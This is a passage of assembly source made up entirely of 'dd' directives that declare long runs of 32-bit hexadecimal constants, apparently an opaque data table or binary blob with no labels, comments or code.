0C501CEF9h, 945D0CAAh, 3C29921Ah dd 7E308453h, 8F55F320h, 2F943EC0h, 0FA9D993Ah, 0B68DEA38h dd 3D770DB4h, 0C96119DCh, 0D3B71FB3h, 0D347BE4Ch, 0EC59388Bh dd 0E7714C44h, 69108657h, 2E107F2Eh, 1F59B860h, 19A5551Fh dd 6431E201h, 0ED8F1058h, 82039BC5h, 7C55448Bh, 0EFE5D52Dh dd 0E68B210Fh, 8347CCE3h, 38811624h, 0B6A727CBh, 3A07D416h dd 0FFA85ECBh, 0BD5D484Eh, 0E46C1B5Dh, 8A125688h, 8D29BA02h dd 3EF84ACBh, 2965C0B3h, 0F380B5ADh, 0E8E98C91h, 0F780E863h dd 0C555AA2Ah, 82327744h, 0A468974Eh, 35DB3D2Fh, 3BC81C07h dd 2D3EBD29h, 0B5FBC796h, 141123ADh, 0D0E50E12h, 7B954276h dd 6C3AB81Ch, 6A1EC2C0h, 587457B8h, 327A690Bh, 406A0949h dd 799A381h, 3935FD32h, 0A7166B72h, 0DA60864Bh, 6FFDEE4Dh dd 5E34B35Ah, 0D23966A8h, 0EAFE0988h, 0D1D02B10h, 1BD35CADh dd 8B69B31Eh, 0FB23CA66h, 7FB4E42Bh, 71A23ABBh, 6E120747h dd 7B38AA4Ah, 5EB256EFh, 0FF80A0C2h, 0C75ED907h, 94268F23h dd 8147492Eh, 0DFC338EEh, 1ACEE595h, 7420159Eh, 43B330C3h dd 0D926D08Fh, 0C8C44FDAh, 65B1E6E2h, 19D6C6F6h, 0E1BCC6BCh dd 0EB876EEFh, 0A2D610EAh, 0E2853B6Fh, 0B43A4B4Dh, 4D958FFAh dd 0F7527E2Ch, 8A7E609Bh, 0A242C234h, 82F81937h, 510B1705h dd 6D1FE97Dh, 1886AB30h, 8B8BDEF7h, 7A607C9Fh, 0A761D6DCh dd 9D49BA4Ch, 0E3258453h, 9F78878Ah, 58CF8E48h, 1A604F3Dh dd 47C12E78h, 4DDFCBC6h, 784BB6D6h, 0FC27E395h, 924C0E39h dd 9966C56Ah, 0F73A752h, 0C16A8708h, 4E621770h, 61B118AFh dd 40DF6F5Bh, 0E05BE2C8h, 14AE0B3Ah, 9117BBABh, 0ABDC26C5h dd 0CFB3B827h, 4D36B812h, 0DA4696D6h, 38BC518Dh, 1B3C193Ch dd 0C20F1AF8h, 0B992ABDBh, 5C85E5EAh, 43F2F39Ah, 71E8FB5Eh dd 0DFC07591h, 0F058BE75h, 435CCA4Ch, 0A136EEAFh, 7098435Fh dd 0C2F7B7EDh, 9231C402h, 38C12E10h, 0B2DEFD18h, 0CC611A38h dd 0DDB71EDBh, 0EE92887Ch, 2BF6938Bh, 0BB17701h, 22C0B637h dd 0A6622670h, 7E100DAh, 0BDE6A72Dh, 0A4B4BEBDh, 69FBA026h dd 879DDC4Ch, 0ED9B0442h, 0C48EAB55h, 4D36236Fh, 0DA4996E6h dd 8C9AE9EDh, 0E27615B3h, 5AA2239Dh, 1D7BD56Dh, 65E86A44h dd 1806BB30h, 948BBEF7h, 8BB6B978h, 0C9E9274Bh, 475F2F5Ch dd 5C8EEADh, 0BDA7E6B5h, 0A7B52EFDh, 2F9AA6B7h, 0A8F1D214h dd 0B3EC574Dh, 5ADB3C2Bh, 9CDC1CA5h, 57FC8EC0h, 0D741DD31h dd 844CCEE4h, 320068A2h, 0B89DF8FFh, 32B1177Ah, 0C75A44B6h dd 0E43052F8h, 51F5A14Dh, 78AD4141h, 0EB30DEF8h, 0C665FCCCh dd 0B2997742h, 0AF75ABF3h, 43759FCBh, 33EB4E51h, 0D3FFE570h dd 0C9645DFDh, 5CD216E8h, 292F289Ah, 1C3ACE5Dh, 0D91E04FEh dd 34013E75h, 3E5FFA24h, 2430EEAFh, 0E07C0C4Ah, 8E3C3E00h dd 0EAD3501h, 387746B4h, 29A06771h, 8A0E49FCh, 3303F6ACh dd 0C09E5EEDh, 0C0D16E6Bh, 0FC7826A2h, 30597F18h, 1E62421Dh dd 81B11B27h, 784F4980h, 0ED21A640h, 4F26E6B5h, 6161ED65h dd 0E8C057F4h, 0CF0669F4h, 0BD640C37h, 0B0B64493h, 63739E3Dh dd 87E74990h, 0DC276707h, 1F7F30Ch, 5E39317h, 9EC1DC0h dd 21F461CAh, 0CD79EFh, 0C1EBACE0h, 0EAB61668h, 1FCE7B51h dd 0DEE835C3h, 743A4B02h, 47EDA53Dh, 46463E85h, 0B355DF64h dd 32AEC035h, 24C1D224h, 6F0324F9h, 0C2A54E7Ch, 0CB593193h dd 2810807Ah, 6E4690D9h, 0E44EB614h, 905A496Bh, 0B6DA628Ch dd 449CF4C1h, 38FD57F4h, 3ECF5B84h, 0BA3E0A5Eh, 0C7635B3Ah dd 9C411F80h, 0F5119798h, 0E994947h, 1BFA1C13h, 84D75C75h dd 0D01281D7h, 19ACD358h, 839F7E76h, 98DDE582h, 0B737D91Eh dd 0BA5DB04Ch, 41617B61h, 30904B5Eh, 0D2DB69EDh, 0EA5D4D75h dd 675EDE0Ch, 0EE64EE2Dh, 3F171CE7h, 0CE970FD6h, 52444EE5h dd 0DC9AF089h, 7B26CEDBh, 0BCFF80CDh, 0FB9DE8EAh, 11342617h dd 414C3EDCh, 645BBEA2h, 14134926h, 848298CAh, 0BB06F513h dd 5337D48Ah, 0B3775B4Dh, 25D82EB3h, 0BB6A6E7Ch, 1EEFABE5h dd 0D30176A8h, 14280898h, 7E350CDBh, 0C2E918D3h, 831F51E8h dd 97DDC582h, 0B137981Eh, 6B4D304Ch, 4B8B9150h, 6C87E34Bh dd 0D6DFC103h, 0FBACF00Dh, 0EF312E85h, 4ED07289h, 1AEF5927h dd 0D03750BCh, 0D39126E1h, 0DE4D88D6h, 2EB33168h, 0F9477E76h dd 0FB9D1A65h, 3167C476h, 0EDDF35C3h, 0B4CE455Ch, 0E8A154B0h dd 16598A1h, 4420E590h, 0C7D77B1Fh, 37EB4CC8h, 254ED043h dd 80690B0Dh, 0F32F5D52h, 135AFD40h, 14D850FDh, 7E557187h dd 1928D367h, 14633B9Dh, 31A26DDh, 4CCC97C7h, 159C54Dh dd 50D4212Ch, 93710CB4h, 41CD298h, 0F94D40A8h, 0FE21DAE0h dd 0B3499F32h, 5F934926h, 2F481DBFh, 8FEB0B14h, 0B2F5748Bh dd 66B39DB6h, 89007CA3h, 0DBE8DA5Fh, 0ED21F761h, 0F067AED3h dd 1131B6A6h, 0EBB6DA4Ch, 3CFD87F1h, 0EDCF3B82h, 0C4882B6Dh dd 4AEF233Fh, 53E9710Ch, 80AD3B51h, 0ED8233Bh, 0D3ADEECFh dd 14C842E2h, 7E7574A7h, 0A66928D3h, 688875E9h, 0EDDDF613h dd 0AD33FFB9h, 0B14DBA1Fh, 2F2D8452h, 0F58CA58Dh, 0B718C32Dh dd 3A04F9Bh, 0EA412E7Bh, 4E907288h, 1A6F5921h, 126CBD19h dd 82F2C7CCh, 0DAA0A42Ah, 71A9D84h, 91005703h, 279D9E97h dd 99E102E1h, 805A9D7Fh, 79BCEBFBh, 0EB86AD4Eh, 78E8ED2Eh dd 538F24BEh, 39305FF6h, 0DAAAB27Eh, 0CAB3F9D9h, 0F2E68ECEh dd 57BA4B2Dh, 56421971h, 0FEF8BF74h, 6EAAED47h, 66C6F355h dd 6C60AB10h, 0EC8D66EDh, 3F32E921h, 0F4F8D0B3h, 5EBB94AFh dd 75B29B3Eh, 0B8EBC505h, 0FBBDB1E1h, 0C2B9AB0Bh, 3E58988Bh dd 246485A5h, 543AB3A0h, 0FFE8B45Dh, 0CCA5F36Eh, 7B4C1D6Eh dd 72FC38D8h, 0BE62FCA5h, 41B0F14Ah, 0BA9E675Ah, 0A4B7B15Ch dd 91BFC93Bh, 7B14A35Bh, 62579343h, 0BCB1AE8Ah, 4D8EC9E3h dd 689D023h, 56A26601h, 3C5C3F2Dh, 66C8AE36h, 0FDE8BD74h dd 9D2994E8h, 92E5EB5Ah, 746965C3h, 0FA887A4Fh, 95DE28C7h dd 9E5B4548h, 16E980C8h, 38F27E5Bh, 37EFC101h, 3B856727h dd 34287782h, 4F139FE1h dd 235BC4ECh, 82C81CC6h, 137ECB9h, 65A4CFB6h, 679A510Ch dd 0C4E8DDD7h, 0E29D00BBh, 45358247h, 50A51ED7h, 0B4CE092Eh dd 2B11ED23h, 0EEEB5FADh, 0D1D98145h, 0C1B91386h, 0E28E8CECh dd 0DA9DAD0Bh, 47A6995Dh, 884D4A50h, 0D7B6E680h, 0C56F4889h dd 61D56552h, 6667035Ah, 0C8584B10h, 72345D78h, 98E79C4Ah dd 332E3A5Ch, 0F7A0915Fh, 9DBEE34Bh, 770C3C02h, 0D6A9DACFh dd 9331D6C7h, 58C80D78h, 0CB1E9CFDh, 2D4B96C3h, 0EEAD75Ah dd 58C015BAh, 0EE48A17Ch, 13507692h, 0E39D6ABFh, 81B0DABCh dd 3FA69553h, 64CFD2B6h, 0EC1C6259h, 9EF22AEh, 0D1896302h dd 513C9486h, 0A27066FDh, 25615AECh, 0D34DFF28h, 65572F7Dh dd 0C33F3F0Bh, 20D4BE2h, 60004E7Fh, 9E58F44Ah, 64F80B62h dd 7AB66912h, 732229C1h, 0D15A5A84h, 6669C4F9h, 0C07B1043h dd 7623F90h, 7B400FA7h, 0C5E4D192h, 4D307282h, 0FC365912h dd 3B27E3F5h, 0F1750E9h, 0CAF5D6F7h, 4F4C1D53h, 616A8F8Dh dd 9B48B3B3h, 0DC5F18Eh, 7DC2F2D3h, 6A5A58A3h, 0FC69E591h dd 84EB5F2Fh, 0D389CB10h, 293C0770h, 0B21AF26Dh, 0DA4B556Bh dd 2FC4980Dh, 0F0C150D2h, 0A6C4FB40h, 9E6AB374h, 3BF595EAh dd 0A090FFD3h, 1548B8CEh, 1B4E19C7h, 0F0358322h, 334F3A4Ch dd 8B2A845Ch, 0DCBD7688h, 2FB6DE1h, 8B9D4C2Bh, 86D2E80Ah dd 3074C768h, 0B068CC1Dh, 9377D227h, 0CC264DA0h, 0F966CDFCh dd 0B7CF2EC5h, 914503FFh, 97D88DABh, 0B9B0648Eh, 4055E693h dd 645846CAh, 6186F922h, 8C9EC7A4h, 464DAEB4h, 0F9B82EFAh dd 0C78F147Ah, 0C470C727h, 93EF677Dh, 1922BBBDh, 0D34DF5AAh dd 0FD673B77h, 750A6D62h, 73EDE6C2h, 661C8B62h, 7123A507h dd 0D8D92032h, 30DC108Fh, 516DD7F0h, 2973B6C0h, 528BC2BFh dd 0E6DE6C7h, 0E0B12E9Dh, 0C597A0F4h, 0DA74A1F1h, 5D6EE321h dd 5E09A48Ah, 0FD59E359h, 3F4DA112h, 51008A87h, 873914E4h dd 0C933191Eh, 895E902Eh, 0A23AAF50h, 69A6C404h, 0DB2B0177h dd 5750F013h, 0B068DDABh, 0A29CF112h, 51C8FF70h, 0A63C7B00h dd 1528D7B9h, 0AF227AC3h, 77B9958Ch, 88C45C10h, 638DA3D4h dd 0C95B8B10h, 7F58E67Ah, 7B390322h, 0A2B2C939h, 0DA017BA8h dd 3AB1F3B6h, 7B84A3Ah, 24625B0Fh, 8CC922F6h, 0E65867A8h dd 3FE18E83h, 0B6E0BA79h, 0DBFF1947h, 0BA59687h, 0D4C1C798h dd 25450769h, 1B6144B6h, 0E1F58407h, 935A8EFEh, 9BCA375Bh dd 14842556h, 70AEA18Ah, 44202ED0h, 39C0E327h, 460E366Fh dd 8C875FD3h, 2FC197EEh, 0D861005h, 146A6ED0h, 0C6C4ED77h dd 9D51E207h, 30A24012h, 9AB6EFF5h, 0B7E91102h, 0DE60D6DDh dd 8713857Dh, 23F90DFBh, 522AA688h, 0C6983E42h, 0E5E358CEh dd 52822E83h, 8E284702h, 205ECC81h, 22671CD8h, 0EE85F30h dd 82D06992h, 70B3EABCh, 0D5C40D59h, 9B18C2D2h, 44F14E5h dd 80DF663Ah, 0B4CDBF44h, 0EB874DAAh, 1B27964h, 8ADD3FF1h dd 3BD61FEEh, 3B283556h, 895BF72Fh, 8F3E3FCBh, 79DA4F09h dd 0AFA09F64h, 0FDDA08ACh, 62E26363h, 60A6F078h, 6523AD5Bh dd 3C4CBD66h, 862582CAh, 24159C4Ch, 9A02A0D4h, 8FA5EE0Bh dd 53773FA3h, 0DD79C431h, 0FF820C80h, 0C81E13F4h, 97DD690Ch dd 0C0F10B75h, 214E4F43h, 89BB7EC4h, 8A15CB2Ch, 0C9034875h dd 0E8C65F24h, 0E9558184h, 405ACAAEh, 642FB94Dh, 2186DA42h dd 94EA1ED4h, 0BB0C9D5Bh, 0EDCBD73Ah, 0B01B256Fh, 32182AF3h dd 2C4597D4h, 885F9A6Eh, 0BB75F500h, 2573688h, 8134E49Ah dd 0B3D44A5h, 8AE36A7Bh, 6F0C4F7Ah, 813AC132h, 96A7C54Ch dd 0F5E87B5Eh, 442EE78Fh, 0E1C5E57Fh, 0DB653508h, 45F1D17Ch dd 8EEE3737h, 0C15BC41Fh, 8EC81CC5h, 790BACA9h, 1BFCCF96h dd 78ACCBA1h, 5768DFB9h, 538D064Fh, 0A1B0DFE7h, 5AEB47h dd 1957B425h, 0D0FA7282h, 68624B95h, 328DA868h, 193D27C3h dd 0E39B7557h, 8999AAFEh, 838E978Bh, 655D5FABh, 0C31355E7h dd 37BA8E0h, 61461507h, 0F1E5435Ah, 195C7163h, 0AEDC49D6h dd 80A6EC2Dh, 0DF27C54Ch, 0E7108480h, 6049F3CEh, 51C46E05h dd 337DB01Ah, 0EAE1FA33h, 0FC8656Ah, 3CAEA18Eh, 1A341CDBh dd 0E3D4C66Bh, 56A2E351h, 7CACCBB9h, 4808FA9h, 0F462E6BBh dd 1CAC7F51h, 3FBAE81Ah, 2233B15Ah, 6179BFFDh, 0BA6B467Ch dd 0FDD06F1Bh, 7F11F9E4h, 4D72B399h, 0DB9F7AA6h, 0D33DE42Dh dd 5DB4A68Dh, 0D303A128h, 86FE4388h, 9470CCCh, 732D1FFFh dd 7B631B10h, 868986EDh, 8338352Eh, 24C31C15h, 91EE64A0h dd 430C9B1Bh, 36C02EFAh, 1345B01Ah, 0BB112E81h, 7054E9EBh dd 0D19ACAF1h, 33BEB875h, 0EE428C20h, 0B2A52E6Bh, 86A4CB34h dd 0F2008F7Ah, 4BA8F98Dh, 99A00B97h, 905A3B44h, 0E4E628CDh dd 147BED6Ch, 3E038087h, 3827F4C4h, 0F9B8CFDAh, 0B2F57048h dd 0DAF2AA83h, 5EB9693Dh, 0F2A959A8h, 0B873D3BFh, 6BAF1C5Ch dd 7164A167h, 60CDD132h, 67FA861Dh, 0A9DAE6EDh, 7F86036h dd 6549B097h, 9DF28425h, 0D22DF3B4h, 695BDEFBh, 1641C4CEh dd 84E12E39h, 49898CFCh, 0B79E7789h, 0E137ADD0h, 221F3B57h dd 0DA899044h, 44CCDCAh, 0A806DF43h, 0EB188BEBh, 814FF530h dd 4041A547h, 0E96B0FAAh, 0EB9999F9h, 0EF82A87Fh, 0D3C83BEFh dd 293EEB6Ah, 0B2723727h, 2157C233h, 173D9682h, 841C06FDh dd 86C4D12Ch, 30FFB01h, 89747137h, 60EDC0E2h, 0F28A7FF7h dd 92C939C6h, 8B6A157h, 5AB6A54Ch, 9B426CF0h, 0A32C0CB4h dd 72E956EBh, 0A3ADA0CEh, 0E2CED148h, 6F68E28Eh, 0AA8EB6F6h dd 30370021h, 65C35411h, 9EA7FE96h, 8FA44B04h, 12FF70FDh dd 0F517DFh, 0D9A005C3h, 0FFA52EC0h, 0E4B7D9F3h, 4486629Fh dd 8409F8E9h, 6FC3432Dh, 38560F16h, 5AF27537h, 256451ECh dd 3BAFADDEh, 0F2BAA5F9h, 2CFE68A8h, 0FD37E877h, 8D0DF2E8h dd 0E9D82007h, 0BBA2F678h, 41B1D912h, 4A3B6939h, 58A9C5C9h dd 6FE3845Fh, 6FB0F51Bh, 569CBB76h, 331D4F31h, 0FB2134F8h dd 26203E5Ah, 4F0E49EBh, 0DF57E3ADh, 3FF1F88h, 0C1A596E0h dd 1044A345h, 1C8D9F16h, 3462E73Bh, 0BFEED00h, 9903ECAFh dd 8432D727h, 0EB296E80h, 85ECB8B7h, 594BB32Fh, 3B566F12h dd 5AF5B53Fh, 2564D19Ch, 5AACAA3Eh, 58800681h, 805F6B49h dd 0D8B655DEh, 6E4F8C54h, 60AC7DDEh, 778B369Dh, 6CB3E912h dd 9AC42948h, 0B948B9FCh, 0DBE1C129h, 88AF878Bh, 4664AEEEh dd 0F8028DDEh, 34242E8Ch, 70D412FFh, 0C2A2E91Dh, 0DD52603Fh dd 0BCC7E75h, 8AA5452Bh, 108E35FCh, 0B3E9D6D9h, 0EA9D075Ah dd 9916EC66h, 40DF0CD0h, 0E52AD5A5h, 2391957Eh, 1151F6Ah dd 0B05DC4C1h, 0D13E5F0Fh, 4D8A1D9Eh, 0DA4D252Bh, 3BA8918Dh dd 30515BD1h, 2CF470BFh, 30E8087h, 0D94C0517h, 0E5B20CA9h dd 4C6B5A5Dh, 94A66EBAh, 9E4F29A7h, 0AB9B7124h, 90BB6CB0h dd 0A7EC0CB4h, 0A96BC691h, 0E74E5026h, 0E81AB73h, 0DC990F18h dd 4F76590Bh, 78481CECh, 9FE2BB9Bh, 9B5D150Dh, 1D7DC99Ah dd 7DC56170h, 531EF484h, 60A2692Fh, 4DB14459h, 9BC7D643h dd 0EB86EA81h, 72DB5BF9h, 4F2C1345h, 0FEB140F5h, 0BF0CCAAAh dd 0DA5F5D1Bh, 11DF86EDh, 0E6C6A512h, 0AD480BDAh, 5B7F0BF6h dd 8AA401C4h, 91923961h, 23EAD5C4h, 60AC46EDh, 0FC7C5F13h dd 0E50531BAh, 861F57BFh, 3875D1A0h, 7786704h, 0BD5A4F30h dd 53235A4Eh, 7317940Bh dd 0E7AA8986h, 0DDC3B5F5h, 0E2D0C6EEh, 7ED196C9h, 0E74D210Fh dd 0D91575C6h, 0D38D0860h, 0A1B0CC15h, 0FF9BEFC0h, 37D95554h dd 14AC8F11h, 450BB89Dh, 508214FAh, 38CCF71Eh, 0A7867517h dd 0CA8D57CBh, 3BFB6536h, 0F29D5AAEh, 0AC4F2155h, 0CB48D98h dd 9D3ADB92h, 927380A5h, 5FAB7A9Dh, 77A5A567h, 683A9582h dd 8F991424h, 4BBD6CB0h, 37E00CB7h, 768C2577h, 0D1F6EE96h dd 0A8A27362h, 0FCF87A8Fh, 7B765902h, 4AB7E317h, 6F174F70h dd 0A6E07F79h, 27CF2A80h, 0DC00FDAh, 0E39C62B1h, 81B0EF64h dd 3CF61557h, 31DA1AABh, 4F7E6162h, 0ECBC1B4Dh, 0ABDB49B9h dd 0C6F9A5EAh, 0B212ECE0h, 0DA7D1F7Bh, 7F85902Dh, 678B5591h dd 0C4BFE0C0h, 13674583h, 62CE82FFh, 62EA885Ah, 710ADD14h dd 0EBDA7915h, 6EC579FAh, 814AB998h, 0A56D4425h, 0D7695220h dd 0C795D6EBh, 87CC4F36h, 3B611EBBh, 49988F15h, 4007B6FDh dd 23C7D326h, 0B79E4F1Dh, 0C2B0687Eh, 0EE5CD58Bh, 0E84C6126h dd 8E625804h, 0E1B0E230h, 0B4320742h, 1B22085Bh, 1482896Dh dd 0F02AC59Fh, 6951E319h, 0E1D0CF7Eh, 0EB870AC7h, 31C85D32h dd 1FE073Dh, 0C571452Dh, 0F5447480h, 0F34F3977h, 0B90C0517h dd 3631EC9Eh, 5112CB1Eh, 505A0912h, 24CD60D4h, 1A1F0617h dd 0D449D445h, 0FBD50579h, 0FE943E29h, 67620F31h, 9DCBC6D6h dd 0CC0D98FAh, 13764188h, 0A6481AE4h, 851237CBh, 6CA58E2Fh dd 248E11A7h, 0ECC66309h, 951AC70Ah, 58B09ED0h, 40A9369Dh dd 9B37EEB8h, 0D7FB8687h, 74D20D03h, 604EAB0Bh, 39ACBB75h dd 87D0350Fh, 321E2BE1h, 2F69D0D1h, 0FCD292B4h, 25A6FEEAh dd 5D27F1CDh, 6D3333FFh, 432A98A4h, 0BA673D14h, 0E157B722h dd 7855A922h, 7D554599h, 79E43B26h, 0CFBF9915h, 3680CECBh dd 4469A506h, 7B343EEFh, 8D0217B1h, 9C2102F0h, 0E2750F57h dd 0A994B8F6h, 0EB660E2Ah, 57114B9Ch, 252A35FBh, 0A99EE111h dd 7C5F0910h, 59A7FA97h, 35E4D43h, 0FC667DAAh, 7B058FC9h dd 0D3FBC154h, 29F9EF4Eh, 4D146108h, 50AB523h, 0EC145E29h dd 11955C91h, 4C87D140h, 0CCBF35F0h, 8A712D92h, 5068AEB3h dd 55654B62h, 844322Fh, 64216AC9h, 6BD5D0B5h, 0AC1D94A4h dd 0D51E0CBFh, 0C604568Bh, 0CDF2A0E9h, 0E4A1D223h, 173CA600h dd 0C16AB079h, 0EF1F1156h, 6B4EC4F8h, 4B4DD7ECh, 6B2055Fh dd 0C900D63Eh, 0B46095D5h, 8E971ACh, 9B0904AAh, 0A775EE25h dd 97AFF826h, 9A10816h, 0B82CBAB2h, 8FD603B2h, 0B2B3BB3Ah dd 80844090h, 0D51D16A9h, 8C916CEEh, 0A326B685h, 7ED5DAE2h dd 0C6EBB9F7h, 49B34353h, 26E62162h, 0C5DA221h, 0EE74EA7Ch dd 0B990C6ACh, 1EA809F5h, 0F4E6F082h, 0CA7D888Ch, 3E36B290h dd 0F292292Ch, 16B6449h, 0CBD75539h, 4B333884h, 3D037A8Eh dd 40CFB497h, 5FAD50DAh, 29087F59h, 0A461CC87h, 2ABADC10h dd 430BE7A3h, 0B7CF89F9h, 945E28F8h, 817C2900h, 786491C1h dd 3DB1DD2Dh, 774D512h, 84102C00h, 0D885706Dh, 5589EA9Ah dd 0B3BFD2BFh, 0DC00173Eh, 0F2CCE962h, 6CB14CA4h, 0B5CEBE59h dd 47112E22h, 72551670h, 0CBBF7347h, 1AFAF167h, 701A0C2Ah dd 8D24FA18h, 91287255h, 0FF9279EAh, 0B626D57h, 99610172h dd 0E9751555h, 9C94CCFCh, 2B652A1Eh, 0E08D542Bh, 367DEABFh dd 1A7CBC7Ch, 0D8EDD813h, 15965746h, 377CFB24h, 49C95E24h dd 957793E8h, 0B84C85C2h, 0B498EAAAh, 4FEBC82Ah, 4DE02E86h dd 57658F39h, 0BB0AA229h, 78A6A4BFh, 0D421F763h, 2C616B50h dd 96DAFD3h, 0EFE58599h, 18ED466Ah, 0A111AD5Ch, 0E0FF4CACh dd 3F828465h, 0D8A7336Dh, 0AB965CDh, 0B1307265h, 841DA88Ah dd 0D8E864CEh, 8C551429h, 0CAB2760Dh, 0D2E8C8FAh, 0D32EAF6Eh dd 0F8B28EC3h, 24895BCDh, 0C460756Ch, 0B5E59075h, 0F6C1804Dh dd 0B4D1E356h, 0EBFBB485h, 0E099491Ah, 3E316A09h, 0C5861B56h dd 4B1BF2DEh, 2FD9591Ch, 0D59B7BEFh, 82652B24h, 39C5EBFh dd 2B5B2E0Dh, 76BBADE9h, 0D0F138B3h, 22745FFAh, 4E0BB13Ch dd 0A4A36927h, 70FA034Ah, 0EA0F7B67h, 64367696h, 9C2CC154h dd 0B7E83C29h, 0A41ED6B4h, 0C8028CDDh, 0D9DBD01h, 21777408h dd 4612FDB1h, 56AC370Ah, 16B2553Eh, 0A9035722h, 0BE604ED6h dd 6E4A60A3h, 0C6B33D54h, 0CCC80AACh, 97A5FEA1h, 9B0422h dd 4455E12Fh, 3B5FC8CAh, 0C82F484Fh, 4419266Fh, 2563A980h dd 68FEA992h, 4B77173Fh, 6CD02577h, 1B44F9C7h, 0F0D177C3h dd 678CC7CBh, 0B8D57929h, 98D6ACE0h, 617EBABAh, 1501211Dh dd 1DEB0CABh, 79D3D126h, 0C518DA7h, 3A1414A7h, 8BAD09CEh dd 21EBBE7Eh, 20C80CF0h, 0BCF8AA83h, 3AF4A8F1h, 6F4D84A8h dd 5EBFDC8Eh, 175B8D23h, 0A5BA713h, 8F56F0D4h, 0E422CA28h dd 995F6F6Ch, 7AD1DF62h, 530D5A06h, 0C5C5E38Ah, 357633C4h dd 0E604A943h, 0B1997118h, 8B0C242Fh, 0DC645CBBh, 64A34DFh dd 27E70AE9h, 630E5657h, 0A321681Ch, 0D051732Ch, 9DD819A3h dd 8B2995BBh, 1D0D4670h, 0EAE137ABh, 7AAA3178h, 0CF5DB14Ch dd 8AFCD160h, 0CB0D32F4h, 0CE43C4F6h, 0AA3CF50Ah, 0BBE8D8CBh dd 0A35BB0ABh, 2BC8AA0Fh, 3EB74h, 1498CEFCh, 0D3F11EDDh dd 40390EABh, 0E9241756h, 0EBA9FFE9h, 6D75541Fh, 44B5FF14h dd 0BF16F419h, 6B3ED88Fh, 4B0AE6B7h, 276509F8h, 1060F812h dd 0D1665303h, 37445B01h, 0D3F90EE9h, 0B3C3D42Fh, 173B816Dh dd 0D2D5BC27h, 6DA1ABA3h, 8792F43h, 0B7F7EE92h, 5207F746h dd 2DDFC14Dh, 0E0ACA5BCh, 153128ECh, 0B4938576h, 0CFD15A86h dd 3037F352h, 0BEC0A2FCh, 34A4B8FBh, 0A0C83802h, 0C1FC34F5h dd 39B666BBh, 0F538E50Dh, 7F908BE7h, 0E01FFFF4h, 153C196Fh dd 7EE37D6Ch, 0EC2AC502h, 0C538137Eh, 0C33EB4C8h, 4F85E626h dd 0D99E7542h, 8A50052Dh, 48652BFh, 0B731735h, 0D5018DE9h dd 573E669Ch, 23E1B16Dh, 5FBFD92Fh, 96F3ECA8h, 32293ABDh dd 193E0E7Ch, 6B3570DFh, 2813FFCDh, 0B84DB483h, 30AC25A2h dd 74B7895Dh, 0FF7F9A9h, 0B34856C8h, 8291D7FDh, 5B757109h dd 0CECE8507h, 66FAD0D0h, 0F114019h, 7BA39511h, 1FFA802Ah dd 3407EAA9h, 0D674F338h, 414E031Dh, 0B7AAB7F3h, 34D9BA1Ch dd 463B7D3Fh, 36F1B1D6h, 0C6C8A642h, 0A8796AE8h, 0C5896A43h dd 0EC02CD47h, 0F58C8915h, 73653ED9h, 0E2EE5E6Fh, 26407CA6h dd 3BF3D6D2h, 9BB92699h, 0E8390709h, 0F5FC3261h, 0BE1833AFh dd 52600918h, 0A050D8D7h, 462C1B54h, 0B5A45DFCh, 0D960FBF7h dd 0BCEB1E78h, 0DFA833FBh, 0D9C19ADBh, 68050B1Eh, 0DB940C4Bh dd 8A77A8B2h, 8F7DF294h, 0E4FA9A57h, 9AEF776Eh, 7A3E2766h dd 504D7A3Eh, 0CB45A19Ah, 4E76B3A4h, 0E805A883h, 0AF9F769Eh dd 0AA7E7C91h, 0D88CAFBFh, 6480C794h, 0F4013B19h, 0BC710CA7h dd 585CAB1Dh, 0B0566D4h, 93E20EC4h, 6BBC468Fh, 54F1446Dh dd 7FF5F00Bh, 61918ED7h, 1F424B73h, 0EB9228Ch, 86088EF4h dd 3464547Dh, 925FFDF7h, 19EB2CF6h, 0DF546AF3h, 0ABCB1AE0h dd 76386062h, 0DF6A30C3h, 24621056h, 2A7D6687h, 33F87953h dd 620A1A04h, 6220B17h, 14E33607h, 5E9A7088h, 0A0BA3D2Fh dd 0CD61B07Bh, 0D367A915h, 5F402913h, 58833E29h, 0E186AC87h dd 0AC677793h, 24E9ABA3h, 93BBFEE0h, 59197DA9h, 132CA6ECh dd 697B456Dh, 2309015Dh, 9BA70D03h, 4E1037EAh, 3F203DDEh dd 738ED893h, 549DB04Dh dd 4BB5AB12h, 3D60AD65h, 0BAFB5288h, 0CEF41883h, 98B10E03h dd 98118FADh, 0BB958D6Ah, 4A7EA8F2h, 747DF31Bh, 61491DF5h dd 0E819EA9Fh, 756017BDh, 0D2C5253Eh, 8B751781h, 35065892h dd 2A63779Ch, 0AE638927h, 516ABE68h, 0BC8FA942h, 0EB6774FEh dd 0C668D89Fh, 46B3769Ch, 46646491h, 0E2D90E2Bh, 90D986D6h dd 0D0939591h, 5D077B16h, 8710E634h, 0CD0C30E9h, 656442Dh dd 0D5E4AEB7h, 0D8378F73h, 0CB195B10h, 0DA32280Fh, 41EB34CEh dd 0DB521AC9h, 9C1E3AE8h, 86FF4393h, 5A1F27A2h, 5C498492h dd 4384EC9Ch, 0D3FF1D97h, 0E801E5ECh, 3012BC11h, 47D52937h dd 0DDA6257Dh, 35C22904h, 4E07A390h, 0DADA82FDh, 4F82A3ACh dd 0D53AA590h, 0E3633171h, 9B196646h, 64A0F4A7h, 0FC04CFF5h dd 232EF6C2h, 7E66AAACh, 9EFFF262h, 8C067B15h, 0B00B470Bh dd 5A62CF1Fh, 6C2BBB8Fh, 0AA6EDD47h, 328A9F18h, 8FDC5687h dd 326E4A1Ah, 0F81BCF34h, 0DD5F61F5h, 0EAB18414h, 9EFB0ED6h dd 9B446325h, 49EEC4A2h, 44F9DC9Bh, 6145FFDFh, 0E8012E9Eh dd 75509FBFh, 0D33A3532h, 8B0BF7FEh, 367A1882h, 2B14F7FCh dd 0B07288E4h, 8D24B1E8h, 2D5E2F4Fh, 3E78CC87h, 8CB495C7h dd 95B0AB44h, 0EED2DFC8h, 0EF8BF17Dh, 0DB7C16ADh, 0A6F6CAACh dd 45FA84E0h, 3040B320h, 958D6907h, 95926F4Eh, 75812656h dd 7696898Fh, 81442DF4h, 706C95FDh, 46A1756h, 28A46F33h dd 5E30D76Fh, 6900F78Dh, 0EE18647Dh, 2E5FDF2Ah, 0E59265F4h dd 0E70D50EEh, 52779BACh, 8A246110h, 0B9C46145h, 0CD734FFAh dd 327D5282h, 35A418CCh, 30A0B08h, 0CE3F5B53h, 0EC8CB804h dd 5054088h, 938D9116h, 80836EA3h, 4B3B42F2h, 37D6BC73h dd 0B5D05625h, 0D5C98C84h, 9372DD1Fh, 2B83294Dh, 101ECE7Ah dd 7C5E31CDh, 0D66A1797h, 816AC95h, 70DF536Ah, 3149A4EDh dd 4D10CC49h, 0AB29C7F4h, 